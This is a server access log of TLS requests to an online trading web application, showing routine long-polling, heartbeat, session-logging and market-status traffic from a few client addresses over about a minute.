[09/Jan/2026:13:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938266179 HTTP/1.1" -
[09/Jan/2026:13:53:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938276588 HTTP/1.1" -
[09/Jan/2026:13:53:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938261210 HTTP/1.1" -
[09/Jan/2026:13:53:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938260006 HTTP/1.1" -
[09/Jan/2026:13:53:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938271253 HTTP/1.1" -
[09/Jan/2026:13:53:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938281616 HTTP/1.1" -
[09/Jan/2026:13:53:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938266249 HTTP/1.1" -
[09/Jan/2026:13:53:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938265085 HTTP/1.1" -
[09/Jan/2026:13:53:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938276353 HTTP/1.1" -
[09/Jan/2026:13:53:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938286643 HTTP/1.1" -
[09/Jan/2026:13:53:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938271401 HTTP/1.1" -
[09/Jan/2026:13:53:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938270153 HTTP/1.1" -
[09/Jan/2026:13:53:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938281384 HTTP/1.1" -
[09/Jan/2026:13:53:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938291718 HTTP/1.1" -
[09/Jan/2026:13:53:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938276559 HTTP/1.1" -
[09/Jan/2026:13:53:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938275247 HTTP/1.1" -
[09/Jan/2026:13:53:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938286457 HTTP/1.1" -
[09/Jan/2026:13:53:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938296779 HTTP/1.1" -
[09/Jan/2026:13:53:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938281689 HTTP/1.1" -
[09/Jan/2026:13:53:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938280484 HTTP/1.1" -
[09/Jan/2026:13:53:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938291541 HTTP/1.1" -
[09/Jan/2026:13:53:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938302195 HTTP/1.1" -
[09/Jan/2026:13:53:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938286825 HTTP/1.1" -
[09/Jan/2026:13:53:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938285561 HTTP/1.1" -
[09/Jan/2026:13:53:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938296615 HTTP/1.1" -
[09/Jan/2026:13:53:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938291882 HTTP/1.1" -
[09/Jan/2026:13:53:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938290627 HTTP/1.1" -
[09/Jan/2026:13:53:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938308190 HTTP/1.1" -
[09/Jan/2026:13:53:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938301768 HTTP/1.1" -
[09/Jan/2026:13:53:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938296940 HTTP/1.1" -
[09/Jan/2026:13:53:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938295839 HTTP/1.1" -
[09/Jan/2026:13:53:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938314199 HTTP/1.1" -
[09/Jan/2026:13:53:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938306856 HTTP/1.1" -
[09/Jan/2026:13:53:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938302099 HTTP/1.1" -
[09/Jan/2026:13:53:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938300923 HTTP/1.1" -
[09/Jan/2026:13:53:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:53:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938320194 HTTP/1.1" -
[09/Jan/2026:13:53:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:53:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938311884 HTTP/1.1" -
[09/Jan/2026:13:53:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938305949 HTTP/1.1" -
[09/Jan/2026:13:53:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938307233 HTTP/1.1" -
[09/Jan/2026:13:54:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938325251 HTTP/1.1" -
[09/Jan/2026:13:54:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938316986 HTTP/1.1" -
[09/Jan/2026:13:54:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938310974 HTTP/1.1" -
[09/Jan/2026:13:54:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938312409 HTTP/1.1" -
[09/Jan/2026:13:54:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938330283 HTTP/1.1" -
[09/Jan/2026:13:54:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938322091 HTTP/1.1" -
[09/Jan/2026:13:54:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938316051 HTTP/1.1" -
[09/Jan/2026:13:54:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938317552 HTTP/1.1" -
[09/Jan/2026:13:54:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938335350 HTTP/1.1" -
[09/Jan/2026:13:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938327204 HTTP/1.1" -
[09/Jan/2026:13:54:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938321113 HTTP/1.1" -
[09/Jan/2026:13:54:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938322591 HTTP/1.1" -
[09/Jan/2026:13:54:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938340376 HTTP/1.1" -
[09/Jan/2026:13:54:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938332276 HTTP/1.1" -
[09/Jan/2026:13:54:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938326210 HTTP/1.1" -
[09/Jan/2026:13:54:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938327653 HTTP/1.1" -
